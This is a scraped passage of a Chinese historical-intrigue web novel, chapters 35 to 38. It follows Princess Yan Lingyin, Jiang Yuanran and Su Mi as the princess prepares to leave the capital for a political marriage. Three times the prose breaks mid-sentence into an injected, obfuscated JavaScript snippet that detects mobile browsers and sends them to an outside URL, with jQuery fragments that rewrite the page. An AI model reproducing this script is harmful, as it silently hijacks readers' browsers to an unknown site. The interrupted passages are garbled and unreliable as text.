桑柘的嘴唇哆嗦起来。她想往后退,可背后还有一道阴冷的目光,堵住了她的路。晏泠音去牵她满是冷汗的手,只觉心里一抽一抽地疼。她太清楚里面的情景了,没有半点光亮,也没有半点声音,不知道时辰,不知道自己疯了还是清醒着。所以她会怕黑,怕一个人待在狭小安静的地方,连带着怕纸灰和血的味道,怕那些不知疾苦的千竿翠竹。 她唯一庆幸的,是桑柘不会偶术。这种秘法其实有它的道理,因为术师视偶人为亲子,有旁人难以理解的情感牵系。那些散乱的肢体,和不知名的骸骨一样,是她走不出的梦魇。 “不要怕。”晏泠音又重复了一遍,“三日后我就来接你,一分一秒都不会让你多待。” 桑柘无声看着她,两眼逐渐失神。晏泠音手上稍稍用力,把她往自己身前带了半步:“我知道你是为了你娘,你当初进弦歌楼,就是要把她从你阿翁手里救出来。你主子允诺你什么?保你阿娘余生富贵平安?可要是没了你,她即便富贵了,又怎么活得下去?” 桑柘神色恍惚,但显然听进去了。那双善于做戏的眼里,头一回蓄满了毫不作伪的泪。她咬着牙不让眼泪滑落,哽咽道:“可我不能眼睁睁看着她受饿挨打……我已经豁出去了,现在什么都不怕,就怕陛下真的诛我九族……” “哪怕没有欺君的罪名,你的亲人也逃不过。”晏泠音低声道,“过去被查出来的术师,全都满门抄斩。我了解我的父皇,他恨极了偶术,你若继续伪装这个身份,才是真的害了你娘。” 豆大的泪珠沿着面颊滚落,桑柘怔怔地看着她,没有抬手擦拭:“可主子答应过我……” “我能给的,比他更多。”晏泠音将她的手握在掌中,“我很快便要离宫,只要你的嫌疑解除,我会向父皇求情,让你随我出京。我已着人去接你阿娘,到时候我们一起动身,外面天高海阔,你们母女想去哪儿都可以。你知道,你娘要的,不是没有你的晚年。” 桑柘抽回了手,掩面痛哭。不远处传来敲击廊柱的轻响,晏泠音朝那儿投去一瞥,转身推开了沉重的红木门。 “桑柘,”她温声道,“我在门外等你。” * 这三天过得风平浪静。晏泠音本想找温敏替青荷求情,但温敏似是动了气,一直不肯见她。晏泠音便做了主,替青荷告了病假,要她回魏家待几天,等温敏气消了再回来。 青荷一走,怡和殿冷清下来,晏泠音也不大想回去。她避着人,在秘书阁里伏案疾笔,把需要交接的事务都清楚地理了一遍。 这个地方,她待不了太久了。 可真到了该放手的时候,她竟还是会觉得遗憾。校理书册的法子是杜慎所授,阁中经卷浩浩,三年又太短,她能做的不过沧海一粟。最初她入阁,固然是为了躲开险恶的朝局,但她在东云台读书时,倒也真的想过,要尽己所能地将文脉传续下去,和杜慎这个名字一起。 她如果早生数十年,生在更太平的盛世,或许就能做个吟风弄月的清贵公主,安心治学,安心编校书卷。 李德昌和她一道去接桑柘。女子虚弱得厉害,但精神还未失常,算是过了检验。这是能公之于天下的证据,晏懿不会知道这种邪术,更不会拿它来折磨包括女儿在内的无辜者,但晏泠音可以。只要她的父皇给予一点方便,比如允许她多带一位婢女出京,她能把事情处理得利落干净。 这一日雍平殿中还有别的大臣,晏泠音受了传召,先去偏殿等候。她刚坐下不久便听见门帘响动,抬眼去看时,见江渊然正半挑了竹帘立在门边,没有立刻进来。 阳光从门外投照下来,在他脚边映出浓黑的影。分明只是三日未见,晏泠音却觉得他有点陌生。以至于她张了几次口,也没能叫出那句曾无比自然的“回兄”。 最后她还是唤道:“江大人。” 江渊然没有说话。他像是从未见过她一般,目光一寸一寸地滚遍她的全身。晏泠音想辨清他眼中的情绪,是惊讶,是惋惜,甚或是失望和厌恨?可她胸口痛得太厉害,连呼吸都觉艰难,已经没有力气再去辨认了。 其实什么都好,什么情绪她都接受。他们已经走到了不需避嫌的地步,即便共处一室或并肩同行,旁人也不会怀疑,他们站在相悖的立场上。 这就够了。 江渊然终于放下竹帘,往殿内走了一步。他面有倦色,低声开口时,殿外鸣蝉竟也齐齐沉寂。 “殿下,也曾受过三日的拘禁吗?” 晏泠音等了许久,只没想到等来的是这句话。她的脏腑中灌了沉重冰冷的铅,偏在此时又涌进了温热的水。那种感受太过难捱,迫得她仓促转过眼去,不敢再看江渊然。 她不回答,他也没有再问,只继续道:“几日前臣和殿下说,要相信臣。” “这句话,无论今日如何,日后如何,臣都不会收回。即便是数声风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431917|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笛离亭晚……” 他停顿片刻,似是自嘲地笑了笑:“殿下也永远可以相信臣。” 数声风笛离亭晚,君向潇湘我向秦。 胸中滚热的液体想往外流,但晏泠音双眼干涩,嗓音也喑哑:“我不能让殷禹死,他手里还有安家的秘密。回兄,我……” 江渊然点了点头,轻声道:“好。” 他说的是“好”,不是“我理解”、“我明白”。那是一瓢冷水,浇得晏泠音的胸口冷了下来。他们之间依然会有生死相与的承诺,不问缘由便能给予的信任,但也只能止步于此。行至歧路,他们都不会为彼此改变方向。 她没有继续解释,也不想再提这个话题了。 “还有些话要提醒回兄。”她微微仰脸,竭力让语气显得冷淡,“我来前,已将秘书阁的取书记录尽数改过,若父皇以后问起,你便说那日入宫所取是新本诗钞。至于搜查殷宅之事,父皇或许会追责,你要咬定是殷禹先将你拒之门外,宅中又传来打斗声……” “殿下,”江渊然再次打断了她,笑得有些苦涩,“搜查殷宅是陛下的意思。这句话,臣只告诉殿下。” 晏泠音眸光猛地一颤。窗外蝉鸣大噪,而她在一浪高过一浪的鸣声里,想起了半月前江渊然的那句“臣不疑君”。 竟然只隔了半个月吗?为何漫长得,像是过了半生呢。 “可他还是会惩戒你,”晏泠音用力咬了下嘴唇,试图让自己回复平静,“他放过了殷禹,不能不给他一个交代。” “三年前,臣刚出狱时得陛下召见,”江渊然似乎早已料到她的反应,答得从容,“臣当时便承诺过,为陛下刀笔,入绳墨拘牵。臣已料到会有这样的事,因而不悔,亦不怨。” 晏泠音有片刻怔然。回过神时,她难以置信地摇头道:“他甚至不肯彻查那个案子……” “不是不查,是不能现在就查。”江渊然语声恳切,像是在说给她听,又像是在说给自己,“总有那一日的,为了那一日,臣做什么都可以。” “……江恪回,”晏泠音终于转过眼直视着他,她控制不住地唤出这个名字,就像控制不住自己声音的轻颤,“他会疑你,皇兄也会疑你,你再这么走下去,只会和我一样……” 众叛亲离。 半晌,她才听到江渊然的声音,很轻。 “那殿下呢?” 他们距离不过几步,却又像隔了迢迢万里。晏泠音又在他眼中看见了那团火,它已经烧了数年,也压抑了数年,却从未熄灭过。 “如果臣今日请求殿下,莫要往前走了,殿下会答应吗?” 浓重的不安翻涌上来。晏泠音往前迈了一步,紧盯着他的眼睛。 “回兄,你是不是……听到了什么消息?” 江渊然偏过头去。 “此刻同陛下在正殿议事的,是兵部侍郎陈桉。昨夜战报传至宛京,庸山大捷,谢小将军以三千兵力和一万幽军周旋,生擒了对方将领,不日便会论功行赏。但听闻谢老将军受了箭伤,只怕要休养一阵。” 他还有些话没说。老将军若是歇下了,泾州军务便会留出空缺,晏懿定要派人填补。但谢家也不会听任权柄被分走,可想而知,这是件难办的差事。陈桉已上了年纪,未必能震住血气方刚的谢朗。晏懿需要更多的筹码,需要一个既能让谢家无话可说,又能帮到陈桉的人。 晏泠音在瞬间明白了江渊然的担忧。 她这个将与谢朗定亲的公主,实在是太合适了。 36. 因果 苏觅醒来时,屋内一片沉寂。窗外透进微亮的光,不知是拂晓还是黄昏。 他其实有一瞬怅然,因为梦中的声音还回荡在耳侧,那人低低地唤他,徽文。 不是他的名,觅,也不是他的字,休寻,不是他所熟悉的众多身份里的任何一个。它太陌生,又太亲昵,让他不敢相认,却又贪婪地想反复地听。 阿承打了帘子进来时,恍惚看见窗前立着一道人影。他先是一惊,随即揉了把眼,喜道:“公子!” 苏觅没有看他。他垂眸望着桌案上的两只瓷瓶,其中一只的瓶身绘有半开的栀子。那双细长的眼中没什么情绪,只有浓重的恹色。 “我睡了多久?” 阿承搁了手中的药盏,掰着指头数道:“一,二……公子,这是第四天了。” 苏觅嗯了一声,嗓音还透着哑。他撑靠在桌案的边沿,满头乌发垂落,遮住了他的神情:“拿木落丸给我。” 他对吃药一事向来不上心,平日里都是阿承替他记着,为他保管常用的丸药。这句话说完,苏觅没听见阿承的回应,抬眼去看时,少年正一脸苦相,悄无声息地往门口挪。 “公、公子,”对上他冰凉的目光,阿承心虚地解释,“季大夫说了,你不能吃那个,我先去叫他过来……” “你是听他的,还是听我的?”苏觅闷咳了两下,轻声道,“要是惊动了先生,我明日就送你回观诸崖,面壁十年再出来。” 阿承欲哭无泪。他眼睁睁看着苏觅接过丸药,就着那碗药汤将它咽下。木落丸的效果立竿见影,苏觅的气息平稳了些,不必扶着桌案也能站直身体。但他的脸色却更加苍白,连嘴唇也微微发了青。 阿承见他伸手去拢衣领,知道他冷,赶忙取了罩衫替他披上:“就算我不告诉先生,难道他就看不出来?上回他说得可吓人了,连折……呃寿的话都说了出来,虽然是唬公子的,但总归这药伤身……” “我病的这几日,”苏觅没听他絮叨,只又掩唇咳了两声,“你可有查到什么?” 阿承替他系带的动作一顿,懊恼摇头:“还没有。那天跟着公子的,除了我,都没活着出殷宅。线索太少了。” 苏觅一时没有出声。他半阖了眼,沉思片刻才道:“那天我带去的人里,有多少是侍奉过夫人的?” 阿承本已系好了罩衫,正要去端他喝空的药盏,闻言手上一颤,险些给它砸了。他转头去看苏觅,愕然道:“公子的意思是……” “我念着老阁主的恩情,这些年来,对夫人一直礼敬有加。”苏觅说得平静,唇边甚至漾起了浅淡的笑,“但逐风阁没有第二个主子,三年前我就说过这句话,只怕被人当了耳旁风。” “阿承,”他语声轻柔,却听得阿承脸上烧了起来,“你是要执掌逐风阁的人,阁中的风向变动,你应该比我更清楚。少阁主的位置没那么好坐,这一回我不怪你,但不会再有下次,你可明白?” 半晌静默后,阿承缓缓垂下了头。 “待查完此事,”他低声道,“还请公子责罚。” * 六月的末梢上,宛京城传开了三件事。 第一件关于大理寺主簿吕绍。他谋害发妻的案子一审再审,最后还是定了死罪。判决是由大理寺左少卿崔含章下的,原本主理此案的右少卿江渊然,因为办事不力,被罚停职半月,居家自省。 第二件关于幽梁两国的战事。平静了数年的北域烽烟再起,局势一度紧张。那个住在宛京的幽国质子生了病,已许久没露过面。仪王晏眆素来与他交好,但也明大义、晓大节,自军报传来后,就再没踏进过苏宅。 第三件关于泾州副将谢朗。他生擒敌军主将的事在京中已无人不晓,连当今圣上也赞他年少英姿,是难得一遇的好儿郎。虽因战事未平,不便召其回京接受封赏,却已赐了爵号,定了他同惠和公主的婚事。 晏泠音坐在车中,一路听到的街谈巷议,都绕不开这三件事。她只是听着,没有出声,和她同乘一车的殷若瑾也始终沉默着。 直到马车停在了方狱的门前,她先跳下了车,又转身去扶殷若瑾。女子落地时趔趄了一下,站稳后,轻声说了句多谢。 “殷娘子,”晏泠音一边示意魏收把车停远,一边挽住她有些僵硬的手臂,领着她往里走,“我陪你进去。” 方狱的总管已被换过。崔含章办事干脆,晏懿要他整改方狱,短短几日便见了成效。他对殷若瑾倒也相当客气,没拒绝她探视的请求,也没追问和她同来者的身份。 但晏泠音此前并没想到,会在这里遇上苏觅。 狱中光线昏暗,她迈步进去时,苏觅恰好回头,朝门口投来遥遥一瞥。周围是潮湿的血气,杂着锈蚀和腐坏的味道,以至于她有一瞬恍然,好像回到了吕家那个小院,她还站在浓阴之下,看着陌生男子缓步向她走来。 他说,他来见一见故人。 但他的故人早已身陷囹圄,在他环环相扣的计划里自缚于罗网。他既然知道这点,那一日又是为何而来? 为何要引她走过秘道,为何让人送来新鲜的栀子,为何同她一起跪在罪臣的墓前? 她要把这些事问清楚,才能安心地离开宛京。 殷若瑾没有看见苏觅。或者说,她没有看见吕绍之外的任何人。她立定在危字号的门前时,原本倚着栅栏的吕绍坐直了身。 他们一坐一立,四目相对。殷若瑾面色冷淡,而吕绍的唇微微翕动着,像是想说什么,却始终没有发出声音。 “闻姑娘,”苏觅已经走到了她的身边,低声道,“借一步说话。” 那场突发的病症似乎已经愈合,并没在他身上留下痕迹。但晏泠音记得他咳血的样子,也记得他笑着说“想死也没那么容易”时的口吻。 他们并肩走出方狱的大门时,头顶的艳阳如暴雨倾泻,浇了他们满头满身。其时已至七月,暑热还未褪去,白日的阳光也依旧灼人。晏泠音抬了手,想挡住那刺目的光线,却忽觉身前一暗。苏觅举着把竹扇,相当自然地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431918|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 替她遮住了日光。 他被晒得眯起了眼,唇角却挂着笑:“这种天气,该请姑娘去茗香楼喝杯凉茶才是。但姑娘如今正忙着,我的身份又不便多出门走动,只能先欠着了。” 晏泠音站在竹扇的阴影下,不知道是推开它好,还是装作不知,就这么走下去好。迟疑片刻,她还是往后退了一步,抬眼去看扇面的题字:“公子以为,我在忙什么?” 这把扇子材质普通,不比晏眆的那把用料名贵,只扇骨削得干净齐整,显然花过心思。她这一避,苏觅也不觉窘迫,笑吟吟地收了折扇,应道:“忙着准备远行的行李,忙着替殷娘子安排后半生的居所,忙着打探朝局和战事,以备日后顺利回京。” 他不说远嫁,而说远行,又这样笃定她还会回来。逆着光,晏泠音并没看清扇上写了什么。她静了片刻,这才开口道:“还有一样。苏公子,我在查你。” “查我?”苏觅偏过头看她,笑意更深,“是我累姑娘费心。不知可有查到什么?” 他问得坦荡,晏泠音也不想遮掩:“公子刚入京时,身边跟的除了阿承,应当还有另一个男孩。他单名为复,也是在逐风阁长大的。那个孩子,他现在在哪里?” 那一瞬,苏觅眸中有墨色翻涌。她迎上他的目光,而他没有移开视线。 “京中暗箭无数,防不胜防,”苏觅声音很轻,“我葬了他。” “葬在何处?”晏泠音心中隐有不忍,但还是迫着自己往下追问,“就在吕宅的那株槐树下?” 苏觅笑了笑。 “原来姑娘已经猜到了。” 她不解苏觅为何还笑得出来。他总能在一瞬间将势如狂澜的情绪收起,上一秒还是山雨欲来,下一秒便又日暖风轻。 “公子对吕绍如此无情,也是为了替那个孩子报仇吗?” “闻姑娘,我不为自己开脱,”苏觅注视着她的脸,正色道,“我确实把那些事告诉了二郎,但也正如我曾对姑娘所说的,是二郎自己选择了这么做。他心中愧疚,想要赎罪,我不会拦他。” “可吕主簿又做错了什么?”晏泠音胸口发闷,“父辈的罪过,必须要他来承担吗?” 苏觅足下微顿。 “阿复他,也没有做错什么。” 晏泠音默然。 “我知道姑娘觉得不公,但世间事本就没有公平可言。我成全了二郎的痴心,他求仁得仁,已经算是幸运了。” “……真的如此吗,”晏泠音深吸了一口气,“就公子方才所见,吕主簿看着殷娘子的那种眼神……公子依然敢说,他是幸运的吗?” 她被晒出了汗,胸口的窒闷感也越来越重。一阵清苦的药香飘至面前,那是苏觅的巾帕,给她拭汗的。 “我所说的,是命,姑娘问我的,是缘。二郎和殷娘子是段孽缘,我不否认,那是不幸。” 他看着她擦净了额上的汗,眸光温柔。 “姑娘查到的,只是一半的事实,还有一半,就听我说罢。” 37. 徽文 迎露寺是吕绍和殷若瑾的定情地,但两人平日却很少谈及,唯一一次是在婚后的第四月。两人走过迎露寺的红墙时,殷若瑾望着丈夫笑道:“之前你要带我从这儿翻.墙出来,我说不可,佛门净地,莫要对菩萨不敬。现在想来,你我能得今日,未尝不是菩萨保佑的缘故,改日也当去上香还愿。” 他们此行是去寺旁的薝卜厂买书,南北书贩皆聚集于此,运气好时,能淘到难得一见的珍本。杜慎的寿辰快到了,这是六十的整寿,他虽不肯大办,学生却需尽了礼数。吕绍送不起古董文玩——杜慎也不可能收,还是殷若瑾提议说,不如去薝卜厂转转,先生近来讲经书校勘,手上正缺本子呢。 红墙下就是一溜书摊,吕绍正专注地挨个看过去,随口应她道:“我何时要带你翻.墙?” 旁边的书贩迎上来攀谈,话头便被岔开了,此后两人都没再提起这事。但它是一粒种子,和此前此后的无数细节混在一起,生出了让人畏惧的芽。 他们其实都不迟钝,那种不深谈、不追问的默契本身就是暗示。他们之中有人在畏惧,有人在怀疑,甚至有人在暗中查访,但表面上,一切如常。 那年冬日,殷若瑾生了病。吕绍伏在塌边,一口一口地喂她吃药。喂完后,他没有立刻起身,而是握着殷若瑾的手贴在自己脸侧。她的手柔软却滚烫,衬得他的脸格外冰凉。他看着殷若瑾的眉眼,一直看到眼前变得模糊。他发现自己在哭。 殷若瑾费力抬手,替他擦去泪水,唤他道:“二郎。” 那一声背后有太多的欲语还休。一直以来,只有殷若瑾唤他二郎。只有她能分享他摆脱不得的痛苦,也只有她能理解他年年疯长的愧疚。 她聪慧、体贴、善解人意,从未想过要离开此处,即便已隐约猜到,他并非那个她曾为之倾心的少年。 如果……只是如果,如果他不是那样的患得患失,如果他没有在见到妻子的第一眼就被惊艳,如果他从不曾受困于父辈和兄长的阴影,他是不是能更洒脱、更勇敢一点? 他就可以从容地和妻子说,我们聊一聊罢,我的兄长是不是还活在世上,你见过他了吗? 殷若瑾把夏樵客的事告诉他时,他正在浥安县为官。那些话他一开始没有听明白,便走出了屋,站在降了夜露的院里想。深秋的晚上有风,很凉,他一直站到浑身都被露水打湿,才勉强笑着对倚在门边的殷若瑾说:“夜里冷,你先进去罢。” 第二日,一位叫弦歌的女子拦下了他,说有要事相告。 她话不多,可寥寥几句就解了他许多困惑。吕绍终于明白,为什么自己出京的路上杀手云集,又是谁一路暗中相护,保住了他和妻子的命。 他问她:“你主子为何帮我?” 弦歌给他看了一把小巧玲珑的银锁,那是京中常见的式样,给未满周岁的小孩戴着,能保他不为病魔所侵,平安长大。 吕绍仓皇伸手去取,但弦歌已然收了手。她摩挲着银锁上的那个“复”字,短暂地出了片刻的神。 “回京后,主子会亲自和你谈。你只要知道,当年有人要你死,若不是阿复替你进了方狱,你本不该活着的。” 那人要安排他回京,可即便回了京又能做什么?他已经万念俱灰,知道他和妻子的婚事是一场阴差阳错,知道妻子的父亲害了他的老师,也知道他此生最愧对的兄长为救他而死——真的是为了救他吗? 弦歌走前的最后一句话,是要他善待殷若瑾,这也是阿复的意思。 吕绍回京时,正是槐花盛开的季节。他在灰瓦巷尽头的宅院里见到了苏觅,那人戴着面具,轻描淡写地讲完了他的计划。 吕绍不能拒绝,也不想拒绝,只问了苏觅一句:“照公子所说,只要我埋下这只偶人,就能让阿瑾彻底忘了那些事?” “不错,”苏觅并不避讳这人人谈而色变的术法,“要记得在偶人身上,用血写一个‘忘’字。” 飘坠的槐叶停在他的肩头,经风一吹,又悠悠荡荡地粘在了晏泠音发间。宛京城多栽槐树,他们此刻便站在另一片槐荫之下,苏觅讲述的时候,晏泠音就在凝视槐枝投下的影。她听得认真,即使知道那些话很可能真假掺半。 “公子没有权利,吕主簿也没有,”直到他把所有的事都讲完,晏泠音才开了口,“这是殷娘子的记忆,应该由她自己决断。难道公子真的觉得,这样做是为她好?” “姑娘,”苏觅沉吟道,“怕是没有爱过人。” 晏泠音摇了摇头,不想在这个过于私密的话题继续纠缠:“可你骗了吕主簿,偶人不会让殷娘子忘记往事,它在碰到纸灰的那一刻就失效了。” “我也给殷娘子用了药,”苏觅语声依旧温和,“它比偶术更灵验,过了这段时日,就会让她慢慢忘记二郎,偶尔想起,也只会以为是场梦境。” “姑娘一定会问,我何必如此大费周折,”他又展开了那把竹扇,在手中随意把玩着,“可若姑娘也是个略知偶术,却又本能地畏惧偶术的人,听我讲偶人身上的血迹,讲埋下偶人时飘洒的纸灰,姑娘会想到什么?” 那一瞬,苏觅的目光分明正停在她的身上,却又像是透过她,望见了更遥远的人事。晏泠音不会忘记,她跌跌撞撞赶到杜宅的那一日,满院纸灰飞扬。那是晏懿为了压制偶术而命人烧化的纸钱,却恰好构成了一场盛大的哀悼,是来自帝王的最为残忍的祭奠。 “你要让他想起旧案,”晏泠音不自觉地皱了眉,朝他走近一步,“为什么?” “因为他不配忘记。”苏觅一字一顿,说得很慢,“他已经杀了太多的人,应该夜不安枕,噩梦缠身。世上的术师还没有死绝,也永远不会死绝,他只有拿自己的命去偿还那些血债。这才是姑娘所说的天理,不是吗?” 那是造反的话,是苏觅第一次在她面前露出如许锋芒。他再没有压制自己的恨意,眸中的恹色褪去,只剩近于冷漠的疯狂。 但他怎么敢如此毫不掩饰,是确信她也有同他一样的恨意,一定会和他站在一起,而不是向晏懿检举揭发他吗? 不,是因为此时两国交战,他是幽国的最后一分顾忌。哪怕他真的被王室抛弃,也不能丧命在梁国,否则就给幽国提供了绝佳的借口,战局也会彻底失控。 晏泠音仰脸看着他。这条街上不知何时已空无一人。苏觅眼眸很深,在那样浓重的恨意里,居然透出了一丝微弱的怜悯。 “闻姑娘是杜先生的学生,先生看重你,愿意为你殒命,可你不会为他手刃仇敌。姑娘或许有自己的考量,但我依然替先生不值,他风怀高朗,不该落得那样凄惨的结局。” “公子是以什么立场对我说这种话,”晏泠音开口时,发现嗓子已经哑了,而她连一声嘶喊都没有发出过,“你究竟是谁?” 苏觅扬了下唇角。 “我是幽国王室的十一公子,但当今王上不是我的父亲,是我的舅父。”他的语气太过平静,像是在说别人的身世,“我没见过父母,在幽国时,教养我的是逐风阁阁主上官越,来梁国后,我去拜访了先生。” “不可能。”晏泠音哑声道,“老师此生只收了两个学生,一个是江少卿,另一个是我。此前我也多次去过先生家中,从未见过你,也从未听先生提到过你。” “杜宅的大门向天下学子敞开,不是只有行了拜师礼才能踏入其中。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431919|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心慕先生,却只是众多求学者中寂寂无名的一个,先生不认识、不记得,是应该的。” 他答得那样理所当然,滴水不漏。可一个能和杜慎谈论民生的人,能说动杜慎彻查各州赈灾实情的人,怎么会是无名之辈?又怎么会这么巧,在她出入杜宅的那么多次里,一次都没有遇见过他? 在晏泠音反应过来之前,她已经又往前踏了一步。他们离得太近,近到她能看清苏觅颈上细小的疤痕。那是她上次用匕首划出来的,他没有动用那瓶不会落疤的膏药,而是任它留在了自己身上。 “先生不会不记得你。”她笃定道,“公子没有用真名。” 苏觅静了片刻。 “我每一回去,都是不同的样貌,不同的身份。或许姑娘也曾见过我,只是并不认得。若姑娘一定要知道,我确实有过另一个名字,徽文。琴徽之徽,文士之文。” 晏泠音忽觉一阵轻微的晕眩。头脑里隐隐有一根被拨动的弦,可无论她如何努力,都想不起更多的事来。 ……无妨,一个名字而已。她抬手揉摁了一下额角,慢慢平复下来。 “如果公子真的承教于先生,更该知道先生的心愿。他一生稳重持守,绝不会……” “持守能救下先生的命吗?”苏觅的声音有些发凉,“持守能肃清纷乱的朝局吗?养痈只会成患,先生不为只是时机未至,可现下一切都不同了,姑娘不能永远困在从前。” 晏泠音在他的眼中看见了自己。她的神情比她想象的更僵冷凝滞。 “姑娘不答我的话,是因为姑娘也在担心,”苏觅也看到了她的脸色,语气稍有缓和,“担心放过殷禹是不是养虎自啮,担心下一次还能否抓住他的把柄……” “公子错了,”晏泠音声音很低,但很清晰,“我知道我在做什么,我不后悔。” 苏觅抿唇。他垂眸望了她许久,那种目光里的情绪太复杂,她辨不清。 “姑娘所说的不后悔,也包括此次远赴泾州吗。” 明知这是北域和宛京的博弈,无论她偏向哪一方,都会受到另一方的责难乃至威胁,却仍然要嫁给那样危险的一个人吗? 还是说她也听信了京中那些“侧帽风流”的传言,对边地少年得志的小将军生了好奇之心? 晏泠音想,是她的错觉罢,那双细长漂亮的眼睛里,似乎闪过了一丝微妙的妒意。 她转过身往方狱走,应了他一声:“是。” “如果我说,我可以帮助姑娘留在宛京呢?”苏觅的声音从背后绕了上来,“我能找到比姑娘更合适的人选,让姑娘不必冒险……” “苏公子,”晏泠音没有回头看他,“我就是最合适的人。” 那于她是险境,但更是机遇。苏觅阻止她,只是怕她先一步拉拢谢家而已。 直到身后的脚步声逐渐靠近,她才听到了苏觅的回答。 “那就祝姑娘一路平安,早日……还京。” * 七月初三,惠和公主的车马离京,当天晚上,吕绍在方狱里,用一块不知何来的锋利瓷片了结了自己的性命。 而在那辆摇摇晃晃的马车上,晏泠音忽然忆起,她到底是在何处听过徽文二字。那是杜慎领他们读的一篇文章,其中有一句:“文徽徽以溢目,音泠泠而盈耳。” 这只是一个微不足道的巧合,却还是让她心里无端一跳。车中太闷,她掀了帘子,最后眺望了一眼宛京,却看到了一个熟悉的身影。 陟岵亭下,苏觅立在斜照的日光里,朝她露出了一个模糊的笑。 风吹动他艳色的袖摆,像一种无声的召唤。 他说,早日还京。 38. 泅渡 七月的白水河正值汛期,雪样的浪层层堆叠,翻涌着拍碎在河岸上,腾起阵阵水雾。晏泠音立在岸边看了许久,回过神时,裙裾已被潮气沾湿了。 “殿下,水边风大,莫要着凉,”陈桉关切的声音从身后传来,“还是回车上等罢。” 她转了身正要道谢,却见陈桉怔怔地望着她,双目微红,竟已噙了泪花。她心下一惊,陈桉也自悔失态,揉了把眼睛,偏头遮掩过去:“风大,迷眼呢。” 他们出京已有八日,这是第八日的傍晚。待到渡过白水河,再走几公里便是蔚州,是他们今夜的歇脚地。只是此处偏僻,一时寻不到船只,晏泠音戴了幕篱下车透气,陈桉见她久久不归,便也寻了过来。 她隐隐猜到了陈桉落泪的原因,却不知如何安慰,倒是魏收在一旁爽朗笑道:“陈老是见乡情怯了罢。听说大梁的好酒只在两处,一是南阳,一是蔚州下属的邨县,待渡过河去,我陪陈老喝个三天三夜,不醉不休!” 他察言观色的本事了得,也会说话,陈桉被他逗得破涕一笑,顺着话头感慨道:“是啊,许久没喝,倒真有些想了。待战乱平息,我便上书陛下,乞骨还乡。”他沉默片刻,又自嘲地说,“老啦,在路上跑了这些天,一把老骨头都快散架喽。” 魏收哎了一声,和他玩笑道:“陛下给您老升了职阶,正是要重用您呢,怕是舍不得放您走。” 他们你一言我一语,冲淡了岸边略显凝重的气氛。陈桉在谈笑间,仔细地打量了魏收几眼,随后朝晏泠音微微点头:“年轻一辈里有如许人才,好啊。” 这一路走得不容易,越往北盗匪越猖獗,好几次都是因为魏收才化险为夷。陈桉看得明白,魏收那身做派不像是大内侍卫,更像是江湖侠士,他旁敲侧击地问过几次,都被魏收不着痕迹地避过了,竟是什么也探不出来。 顿了顿,陈桉又不无欣慰道:“有这样的人跟着殿下,承平九泉之下,也能少操些心了。” 承平是杜慎的字。陈桉作为他的同年,在东云台出事时,是少数几个没有落井下石的大臣之一。 幕篱垂落的白纱被吹动,遮住了晏泠音的脸。她语声平静:“宣抚待先师之恩,泠音没齿难忘。” “折煞老臣了。”陈桉长叹一声,不知又想起了什么,摇头苦笑道,“老啦,承平和我……都老啦!” 他话中的疲惫感是那样深重。晏泠音听得出来,那句告老还乡不是一时兴起的玩笑,陈桉是认真的。 或许从十年前,他贵为太子妃的女儿因忧思过重,郁郁而死时,他就想过抽身而退了。 他在白水河畔临风流泪,也并不全是因为思乡,更是忆起了溺亡于白水河的太子,及他那无辜受累的独生女。 “船来了。”魏收眼尖,已经瞥见了上游的几点黑影,“我去提行李。” 晏泠音回首,望向白水河翻涌的波涛。耳边惟有水声和风声,天地空旷,竟让她生出了片刻的茫然。 她见惯了父子相残、父女反目,是在陈桉身上才第一次看到,有人会在女儿病逝后悲痛惊号,一夜白头。 那是她从未经历,也无法想象的爱。 * 撑船的是几个面黄肌瘦的渔民,陈桉和晏泠音过去时,马夫正在和他们讲价,争得面红耳赤:“走一趟要三十两白银?你可知坐这船的是谁?这么漫天要价,你们官长知道吗?” 渔民们七嘴八舌地辩解着,说近两年行船不易,附近的大小渔船都被征用了,他们好容易才保下来三只。家里已穷得揭不开锅,还欠了一屁股债,就指望着这些船活命呢。 陈桉听他们吵得头疼,又见天边暗云堆积,似要落雨,实在不想多生事端:“给他罢,只要快些送我们过河,别误了行程。” 马夫掏银子时还在嘟哝,晏泠音跟着陈桉钻进船舱,隔着幕篱看了那些渔民一眼。他们穿着破烂,望着从马车上卸下的箱笼细软时,眼里是止不住的贪婪。 她心中一动,魏收在身后低声道:“我们人多,又有刀,他们不敢乱来。” 晏泠音虽然担心,但眼看天色将晚,这一带乱得很,若是露宿在外,只怕危险更大。事已至此,也唯有过了河再做打算。 “魏大哥,烦你多留意。若有什么万一,一定保护好陈老。”晏泠音看向领头的高个儿渔民,他的臂上还有烈日晒伤的痕迹,“希望是我多想了。” 